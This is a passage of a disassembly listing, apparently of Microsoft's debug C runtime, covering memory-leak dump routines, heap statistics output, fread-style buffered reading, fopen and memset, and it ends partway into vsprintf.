		cmp	[ebp+var_4], 0
		jz	loc_41CB22
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jz	loc_41CB22
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+14h]
		and	edx, 0FFFFh
		cmp	edx, 3
		jz	short loc_41C954
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+14h]
		and	ecx, 0FFFFh
		test	ecx, ecx
		jz	short loc_41C954
		mov	edx, [ebp+var_4]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		cmp	eax, 2
		jnz	short loc_41C959
		mov	ecx, ds:dword_44FA40
		and	ecx, 10h
		test	ecx, ecx
		jnz	short loc_41C959


loc_41C954:				; CODE XREF: sub_41C8A0+85j
					; sub_41C8A0+95j
		jmp	loc_41CB1D
; ---------------------------------------------------------------------------


loc_41C959:				; CODE XREF: sub_41C8A0+A5j
					; sub_41C8A0+B2j
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx+8], 0
		jz	short loc_41C9D2
		push	0
		push	1
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+8]
		push	ecx
		call	loc_41C410
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41C9A3


loc_41C979:				; CODE XREF: sub_41C8A0+FFj
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		push	eax
		push	offset aFileErrorD ; "#File Error#(%d) : "
		push	0
		push	0
		push	0
		push	0
		call	loc_420E10
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41C99B
		int	3		; Trap to Debugger


loc_41C99B:				; CODE XREF: sub_41C8A0+F8j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41C979
		jmp	short loc_41C9D2
; ---------------------------------------------------------------------------


loc_41C9A3:				; CODE XREF: sub_41C8A0+D7j
					; sub_41C8A0+130j
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		push	eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+8]
		push	edx
		push	offset aHsD	; "%hs(%d) : "
		push	0
		push	0
		push	0
		push	0
		call	loc_420E10
		add	esp, 1Ch
		cmp	eax, 1
		jnz	short loc_41C9CC
		int	3		; Trap to Debugger


loc_41C9CC:				; CODE XREF: sub_41C8A0+129j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41C9A3


loc_41C9D2:				; CODE XREF: sub_41C8A0+C0j
					; sub_41C8A0+101j ...
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+18h]
		push	edx
		push	offset aLd	; "{%ld} "
		push	0
		push	0
		push	0
		push	0
		call	loc_420E10
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41C9F4
		int	3		; Trap to Debugger


loc_41C9F4:				; CODE XREF: sub_41C8A0+151j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41C9D2
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+14h]
		and	edx, 0FFFFh
		cmp	edx, 4
		jnz	short loc_41CA7C


loc_41CA0B:				; CODE XREF: sub_41C8A0+1A7j
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+10h]
		push	ecx
		mov	edx, [ebp+var_4]
		mov	eax, [edx+14h]
		sar	eax, 10h
		and	eax, 0FFFFh
		push	eax
		mov	ecx, [ebp+var_4]
		add	ecx, 20h
		push	ecx
		push	offset aClientBlockAt0 ; "client block at 0x%08X, subtype %x, %u "...
		push	0
		push	0
		push	0
		push	0
		call	loc_420E10
		add	esp, 20h
		cmp	eax, 1
		jnz	short loc_41CA43
		int	3		; Trap to Debugger


loc_41CA43:				; CODE XREF: sub_41C8A0+1A0j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41CA0B
		cmp	ds:dword_4F0094, 0
		jz	short loc_41CA6B
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+10h]
		push	ecx
		mov	edx, [ebp+var_4]
		add	edx, 20h
		push	edx
		call	ds:dword_4F0094
		add	esp, 8
		jmp	short loc_41CA77
; ---------------------------------------------------------------------------


loc_41CA6B:				; CODE XREF: sub_41C8A0+1B0j
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_41CB60
		add	esp, 4


loc_41CA77:				; CODE XREF: sub_41C8A0+1C9j
		jmp	loc_41CB1D
; ---------------------------------------------------------------------------


loc_41CA7C:				; CODE XREF: sub_41C8A0+169j
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+14h], 1
		jnz	short loc_41CAC2


loc_41CA85:				; CODE XREF: sub_41C8A0+212j
		mov	edx, [ebp+var_4]
		mov	eax, [edx+10h]
		push	eax
		mov	ecx, [ebp+var_4]
		add	ecx, 20h
		push	ecx
		push	offset aNormalBlockAt0 ; "normal block at 0x%08X, %u bytes long.\n"...
		push	0
		push	0
		push	0
		push	0
		call	loc_420E10
		add	esp, 1Ch
		cmp	eax, 1
		jnz	short loc_41CAAE
		int	3		; Trap to Debugger


loc_41CAAE:				; CODE XREF: sub_41C8A0+20Bj
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41CA85
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_41CB60
		add	esp, 4
		jmp	short loc_41CB1D
; ---------------------------------------------------------------------------


loc_41CAC2:				; CODE XREF: sub_41C8A0+1E3j
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+14h]
		and	edx, 0FFFFh
		cmp	edx, 2
		jnz	short loc_41CB1D


loc_41CAD3:				; CODE XREF: sub_41C8A0+26Fj
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+10h]
		push	ecx
		mov	edx, [ebp+var_4]
		mov	eax, [edx+14h]
		sar	eax, 10h
		and	eax, 0FFFFh
		push	eax
		mov	ecx, [ebp+var_4]
		add	ecx, 20h
		push	ecx
		push	offset aCrtBlockAt0x08 ; "crt block at 0x%08X, subtype %x, %u byt"...
		push	0
		push	0
		push	0
		push	0
		call	loc_420E10
		add	esp, 20h
		cmp	eax, 1
		jnz	short loc_41CB0B
		int	3		; Trap to Debugger


loc_41CB0B:				; CODE XREF: sub_41C8A0+268j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41CAD3
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_41CB60
		add	esp, 4


loc_41CB1D:				; CODE XREF: sub_41C8A0:loc_41C954j
					; sub_41C8A0:loc_41CA77j ...
		jmp	loc_41C8F8
; ---------------------------------------------------------------------------


loc_41CB22:				; CODE XREF: sub_41C8A0+64j
					; sub_41C8A0+70j
		push	9
		call	sub_421B20
		add	esp, 4


loc_41CB2C:				; CODE XREF: sub_41C8A0+2B0j
		push	offset aObjectDumpComp ; "Object dump complete.\n"
		push	offset aS_25	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	loc_420E10
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41CB4C
		int	3		; Trap to Debugger


loc_41CB4C:				; CODE XREF: sub_41C8A0+2A9j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41CB2C
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41C8A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CB60	proc near		; CODE XREF: sub_41C8A0+1CFp
					; sub_41C8A0+218p ...

var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= byte ptr -48h
var_34		= byte ptr -34h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4C], 0
		jmp	short loc_41CB7B
; ---------------------------------------------------------------------------


loc_41CB72:				; CODE XREF: sub_41CB60+D7j
		mov	eax, [ebp+var_4C]
		add	eax, 1
		mov	[ebp+var_4C], eax


loc_41CB7B:				; CODE XREF: sub_41CB60+10j
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+10h], 10h
		jge	short loc_41CB8F
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+10h]
		mov	[ebp+var_54], eax
		jmp	short loc_41CB96
; ---------------------------------------------------------------------------


loc_41CB8F:				; CODE XREF: sub_41CB60+22j
		mov	[ebp+var_54], 10h


loc_41CB96:				; CODE XREF: sub_41CB60+2Dj
		mov	ecx, [ebp+var_4C]
		cmp	ecx, [ebp+var_54]
		jge	loc_41CC3C
		mov	edx, [ebp+arg_0]
		add	edx, [ebp+var_4C]
		mov	al, [edx+20h]
		mov	byte ptr [ebp+var_50], al
		cmp	ds:dword_44FD20, 1
		jle	short loc_41CBD3
		push	157h
		mov	ecx, [ebp+var_50]
		and	ecx, 0FFh
		push	ecx
		call	sub_423D90
		add	esp, 8
		mov	[ebp+var_58], eax
		jmp	short loc_41CBF0
; ---------------------------------------------------------------------------


loc_41CBD3:				; CODE XREF: sub_41CB60+55j
		mov	edx, [ebp+var_50]
		and	edx, 0FFh
		mov	eax, ds:off_44FE2C
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 157h
		mov	[ebp+var_58], ecx


loc_41CBF0:				; CODE XREF: sub_41CB60+71j
		cmp	[ebp+var_58], 0
		jz	short loc_41CC04
		mov	edx, [ebp+var_50]
		and	edx, 0FFh
		mov	[ebp+var_5C], edx
		jmp	short loc_41CC0B
; ---------------------------------------------------------------------------


loc_41CC04:				; CODE XREF: sub_41CB60+94j
		mov	[ebp+var_5C], 20h


loc_41CC0B:				; CODE XREF: sub_41CB60+A2j
		mov	eax, [ebp+var_4C]
		mov	cl, byte ptr [ebp+var_5C]
		mov	[ebp+eax+var_48], cl
		mov	edx, [ebp+var_50]
		and	edx, 0FFh
		push	edx
		push	offset a_2x	; "%.2X	"
		mov	eax, [ebp+var_4C]
		imul	eax, 3
		lea	ecx, [ebp+eax+var_34]
		push	ecx
		call	sub_41D260
		add	esp, 0Ch
		jmp	loc_41CB72
; ---------------------------------------------------------------------------


loc_41CC3C:				; CODE XREF: sub_41CB60+3Cj
		mov	edx, [ebp+var_4C]
		mov	[ebp+edx+var_48], 0


loc_41CC44:				; CODE XREF: sub_41CB60+10Bj
		lea	eax, [ebp+var_34]
		push	eax
		lea	ecx, [ebp+var_48]
		push	ecx
		push	offset aDataSS	; " Data: <%s> %s\n"
		push	0
		push	0
		push	0
		push	0
		call	loc_420E10
		add	esp, 1Ch
		cmp	eax, 1
		jnz	short loc_41CC67
		int	3		; Trap to Debugger


loc_41CC67:				; CODE XREF: sub_41CB60+104j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41CC44
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41CB60	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp-34h]
		push	eax
		call	sub_41C600
		add	esp, 4
		cmp	dword ptr [ebp-20h], 0
		jnz	short loc_41CCB4
		cmp	dword ptr [ebp-2Ch], 0
		jnz	short loc_41CCB4
		mov	ecx, ds:dword_44FA40
		and	ecx, 10h
		test	ecx, ecx
		jz	short loc_41CCEB
		cmp	dword ptr [ebp-28h], 0
		jz	short loc_41CCEB


loc_41CCB4:				; CODE XREF: seg000:0041CC99j
					; seg000:0041CC9Fj ...
		push	offset aDetectedMemory ; "Detected memory leaks!\n"
		push	offset aS_25	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	loc_420E10
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41CCD4
		int	3		; Trap to Debugger


loc_41CCD4:				; CODE XREF: seg000:0041CCD1j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41CCB4
		push	0
		call	sub_41C8A0
		add	esp, 4
		mov	eax, 1
		jmp	short loc_41CCED
; ---------------------------------------------------------------------------


loc_41CCEB:				; CODE XREF: seg000:0041CCACj
					; seg000:0041CCB2j
		xor	eax, eax


loc_41CCED:				; CODE XREF: seg000:0041CCE9j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		cmp	dword ptr [ebp+8], 0
		jnz	short loc_41CD12
		jmp	loc_41CDBE
; ---------------------------------------------------------------------------


loc_41CD12:				; CODE XREF: seg000:0041CD0Bj
		mov	dword ptr [ebp-4], 0
		jmp	short loc_41CD24
; ---------------------------------------------------------------------------


loc_41CD1B:				; CODE XREF: seg000:0041CD6Cj
		mov	eax, [ebp-4]
		add	eax, 1
		mov	[ebp-4], eax


loc_41CD24:				; CODE XREF: seg000:0041CD19j
		cmp	dword ptr [ebp-4], 5
		jge	short loc_41CD6E


loc_41CD2A:				; CODE XREF: seg000:0041CD6Aj
		mov	ecx, [ebp-4]
		mov	edx, ds:off_44FA50[ecx*4]
		push	edx
		mov	eax, [ebp-4]
		mov	ecx, [ebp+8]
		mov	edx, [ecx+eax*4+4]
		push	edx
		mov	eax, [ebp-4]
		mov	ecx, [ebp+8]
		mov	edx, [ecx+eax*4+18h]
		push	edx
		push	offset aLdBytesInLdHsB ; "%ld bytes in %ld %hs Blocks.\n"
		push	0
		push	0
		push	0
		push	0
		call	loc_420E10
		add	esp, 20h
		cmp	eax, 1
		jnz	short loc_41CD66
		int	3		; Trap to Debugger


loc_41CD66:				; CODE XREF: seg000:0041CD63j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41CD2A
		jmp	short loc_41CD1B
; ---------------------------------------------------------------------------


loc_41CD6E:				; CODE XREF: seg000:0041CD28j
					; seg000:0041CD94j
		mov	ecx, [ebp+8]
		mov	edx, [ecx+2Ch]
		push	edx
		push	offset aLargestNumberU ; "Largest number used: %ld bytes.\n"
		push	0
		push	0
		push	0
		push	0
		call	loc_420E10
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41CD90
		int	3		; Trap to Debugger


loc_41CD90:				; CODE XREF: seg000:0041CD8Dj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41CD6E


loc_41CD96:				; CODE XREF: seg000:0041CDBCj
		mov	ecx, [ebp+8]
		mov	edx, [ecx+30h]
		push	edx
		push	offset aTotalAllocatio ; "Total	allocations: %ld bytes.\n"
		push	0
		push	0
		push	0
		push	0
		call	loc_420E10
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41CDB8
		int	3		; Trap to Debugger


loc_41CDB8:				; CODE XREF: seg000:0041CDB5j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41CD96


loc_41CDBE:				; CODE XREF: seg000:0041CD0Dj
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CDD0	proc near		; CODE XREF: seg000:00401108p
					; sub_41037E+4Ep ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_C]
		push	eax
		call	sub_41F070
		add	esp, 4
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41CE10
		add	esp, 10h
		mov	[ebp+var_4], eax
		mov	edx, [ebp+arg_C]
		push	edx
		call	sub_41F0E0
		add	esp, 4
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_41CDD0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CE10	proc near		; CODE XREF: sub_41CDD0+20p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_4]
		imul	ecx, [ebp+arg_8]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_10]
		mov	[ebp+var_C], edx
		cmp	[ebp+var_C], 0
		jnz	short loc_41CE39
		xor	eax, eax
		jmp	loc_41CFDB
; ---------------------------------------------------------------------------


loc_41CE39:				; CODE XREF: sub_41CE10+20j
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax+0Ch]
		and	ecx, 10Ch
		test	ecx, ecx
		jz	short loc_41CE54
		mov	edx, [ebp+arg_C]
		mov	eax, [edx+18h]
		mov	[ebp+var_1C], eax
		jmp	short loc_41CE5B
; ---------------------------------------------------------------------------


loc_41CE54:				; CODE XREF: sub_41CE10+37j
		mov	[ebp+var_1C], 1000h


loc_41CE5B:				; CODE XREF: sub_41CE10+42j
					; sub_41CE10:loc_41CFD3j
		cmp	[ebp+var_C], 0
		jz	loc_41CFD8
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx+0Ch]
		and	edx, 10Ch
		test	edx, edx
		jz	short loc_41CEE9
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+4], 0
		jz	short loc_41CEE9
		mov	ecx, [ebp+arg_C]
		mov	edx, [ebp+var_C]
		cmp	edx, [ecx+4]
		jnb	short loc_41CE91
		mov	eax, [ebp+var_C]
		mov	[ebp+var_20], eax
		jmp	short loc_41CE9A
; ---------------------------------------------------------------------------


loc_41CE91:				; CODE XREF: sub_41CE10+77j
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx+4]
		mov	[ebp+var_20], edx


loc_41CE9A:				; CODE XREF: sub_41CE10+7Fj
		mov	eax, [ebp+var_20]
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+var_18]
		push	ecx
		mov	edx, [ebp+arg_C]
		mov	eax, [edx]
		push	eax
		mov	ecx, [ebp+var_8]
		push	ecx
		call	sub_41E840
		add	esp, 0Ch
		mov	edx, [ebp+var_C]
		sub	edx, [ebp+var_18]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax+4]
		sub	ecx, [ebp+var_18]
		mov	edx, [ebp+arg_C]
		mov	[edx+4], ecx
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax]
		add	ecx, [ebp+var_18]
		mov	edx, [ebp+arg_C]
		mov	[edx], ecx
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_18]
		mov	[ebp+var_8], eax
		jmp	loc_41CFD3
; ---------------------------------------------------------------------------


loc_41CEE9:				; CODE XREF: sub_41CE10+63j
					; sub_41CE10+6Cj
		mov	ecx, [ebp+var_C]
		cmp	ecx, [ebp+var_1C]
		jb	loc_41CF8E
		cmp	[ebp+var_1C], 0
		jz	short loc_41CF0D
		mov	eax, [ebp+var_C]
		xor	edx, edx
		div	[ebp+var_1C]
		mov	eax, [ebp+var_C]
		sub	eax, edx
		mov	[ebp+var_24], eax
		jmp	short loc_41CF13
; ---------------------------------------------------------------------------


loc_41CF0D:				; CODE XREF: sub_41CE10+E9j
		mov	ecx, [ebp+var_C]
		mov	[ebp+var_24], ecx


loc_41CF13:				; CODE XREF: sub_41CE10+FBj
		mov	edx, [ebp+var_24]
		mov	[ebp+var_18], edx
		mov	eax, [ebp+var_18]
		push	eax
		mov	ecx, [ebp+var_8]
		push	ecx
		mov	edx, [ebp+arg_C]
		mov	eax, [edx+10h]
		push	eax
		call	sub_424040
		add	esp, 0Ch
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_41CF58
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx+0Ch]
		or	edx, 10h
		mov	eax, [ebp+arg_C]
		mov	[eax+0Ch], edx
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+var_C]
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	loc_41CFDB
; ---------------------------------------------------------------------------


loc_41CF58:				; CODE XREF: sub_41CE10+127j
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_41CF7A
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx+0Ch]
		or	edx, 20h
		mov	eax, [ebp+arg_C]
		mov	[eax+0Ch], edx
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+var_C]
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_41CFDB
; ---------------------------------------------------------------------------


loc_41CF7A:				; CODE XREF: sub_41CE10+14Cj
		mov	ecx, [ebp+var_C]
		sub	ecx, [ebp+var_14]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_8]
		add	edx, [ebp+var_14]
		mov	[ebp+var_8], edx
		jmp	short loc_41CFD3
; ---------------------------------------------------------------------------


loc_41CF8E:				; CODE XREF: sub_41CE10+DFj
		mov	eax, [ebp+arg_C]
		push	eax
		call	sub_423E50
		add	esp, 4
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0FFFFFFFFh
		jnz	short loc_41CFB0
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+var_C]
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_41CFDB
; ---------------------------------------------------------------------------


loc_41CFB0:				; CODE XREF: sub_41CE10+191j
		mov	ecx, [ebp+var_8]
		mov	dl, byte ptr [ebp+var_4]
		mov	[ecx], dl
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_C]
		sub	ecx, 1
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_C]
		mov	eax, [edx+18h]
		mov	[ebp+var_1C], eax


loc_41CFD3:				; CODE XREF: sub_41CE10+D4j
					; sub_41CE10+17Cj
		jmp	loc_41CE5B
; ---------------------------------------------------------------------------


loc_41CFD8:				; CODE XREF: sub_41CE10+4Fj
		mov	eax, [ebp+arg_8]


loc_41CFDB:				; CODE XREF: sub_41CE10+24j
					; sub_41CE10+143j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_41CE10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CFE0	proc near		; CODE XREF: sub_41D0E0+Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi


loc_41CFE9:				; CODE XREF: sub_41CFE0+31j
		cmp	[ebp+arg_0], 0
		jnz	short loc_41D00D
		push	offset aFileNull ; "file != NULL"
		push	0
		push	35h
		push	offset aFopen_c	; "fopen.c"
		push	2
		call	loc_420E10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41D00D
		int	3		; Trap to Debugger


loc_41D00D:				; CODE XREF: sub_41CFE0+Dj
					; sub_41CFE0+2Aj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41CFE9


loc_41D013:				; CODE XREF: sub_41CFE0+5Fj
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jnz	short loc_41D03B
		push	offset aFile_t0	; "*file != _T('\\0')"
		push	0
		push	36h
		push	offset aFopen_c	; "fopen.c"
		push	2
		call	loc_420E10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41D03B
		int	3		; Trap to Debugger


loc_41D03B:				; CODE XREF: sub_41CFE0+3Bj
					; sub_41CFE0+58j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41D013


loc_41D041:				; CODE XREF: sub_41CFE0+89j
		cmp	[ebp+arg_4], 0
		jnz	short loc_41D065
		push	offset aModeNull ; "mode != NULL"
		push	0
		push	37h
		push	offset aFopen_c	; "fopen.c"
		push	2
		call	loc_420E10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41D065
		int	3		; Trap to Debugger


loc_41D065:				; CODE XREF: sub_41CFE0+65j
					; sub_41CFE0+82j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41D041


loc_41D06B:				; CODE XREF: sub_41CFE0+B7j
		mov	edx, [ebp+arg_4]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jnz	short loc_41D093
		push	offset aMode_t0	; "*mode != _T('\\0')"
		push	0
		push	38h
		push	offset aFopen_c	; "fopen.c"
		push	2
		call	loc_420E10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41D093
		int	3		; Trap to Debugger


loc_41D093:				; CODE XREF: sub_41CFE0+93j
					; sub_41CFE0+B0j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41D06B
		call	sub_4248B0
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_41D0AB
		xor	eax, eax
		jmp	short loc_41D0D5
; ---------------------------------------------------------------------------


loc_41D0AB:				; CODE XREF: sub_41CFE0+C5j
		mov	edx, [ebp+var_4]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_424520
		add	esp, 10h
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_41F0E0
		add	esp, 4
		mov	eax, [ebp+var_8]


loc_41D0D5:				; CODE XREF: sub_41CFE0+C9j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41CFE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D0E0	proc near		; CODE XREF: seg000:004010DBp
					; seg000:00405507p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	40h
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41CFE0
		add	esp, 0Ch
		pop	ebp
		retn
sub_41D0E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D100	proc near		; CODE XREF: seg000:00401222p
					; seg000:00401230p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_41D153
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_41D147
		neg	ecx
		and	ecx, 3
		jz	short loc_41D129
		sub	edx, ecx


loc_41D123:				; CODE XREF: sub_41D100+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_41D123


loc_41D129:				; CODE XREF: sub_41D100+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_41D147
		rep stosd
		test	edx, edx
		jz	short loc_41D14D


loc_41D147:				; CODE XREF: sub_41D100+18j
					; sub_41D100+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_41D147


loc_41D14D:				; CODE XREF: sub_41D100+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41D153:				; CODE XREF: sub_41D100+Aj
		mov	eax, [esp+arg_0]
		retn
sub_41D100	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D160	proc near		; CODE XREF: sub_401417+1Cp
					; sub_41621B+19p ...

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_20]
		mov	[ebp+var_24], eax


loc_41D16F:				; CODE XREF: sub_41D160+37j
		cmp	[ebp+arg_0], 0
		jnz	short loc_41D193
		push	offset aStringNull ; "string !=	NULL"
		push	0
		push	5Ah
		push	offset aVsprintf_c ; "vsprintf.c"
		push	2
		call	loc_420E10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41D193
		int	3		; Trap to Debugger


loc_41D193:				; CODE XREF: sub_41D160+13j
					; sub_41D160+30j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41D16F


loc_41D199:				; CODE XREF: sub_41D160+61j
		cmp	[ebp+arg_8], 0
		jnz	short loc_41D1BD
		push	offset aFormatNull ; "format !=	NULL"
		push	0
		push	5Bh
		push	offset aVsprintf_c ; "vsprintf.c"
		push	2
		call	loc_420E10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41D1BD
		int	3		; Trap to Debugger


loc_41D1BD:				; CODE XREF: sub_41D160+3Dj
					; sub_41D160+5Aj
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41D199
		mov	eax, [ebp+var_24]
		mov	dword ptr [eax+0Ch], 42h
		mov	ecx, [ebp+var_24]
		mov	edx, [ebp+arg_0]
		mov	[ecx+8], edx
		mov	eax, [ebp+var_24]
		mov	ecx, [ebp+arg_0]
		mov	[eax], ecx
		mov	edx, [ebp+var_24]
		mov	eax, [ebp+arg_4]
		mov	[edx+4], eax
		mov	ecx, [ebp+arg_C]
		push	ecx
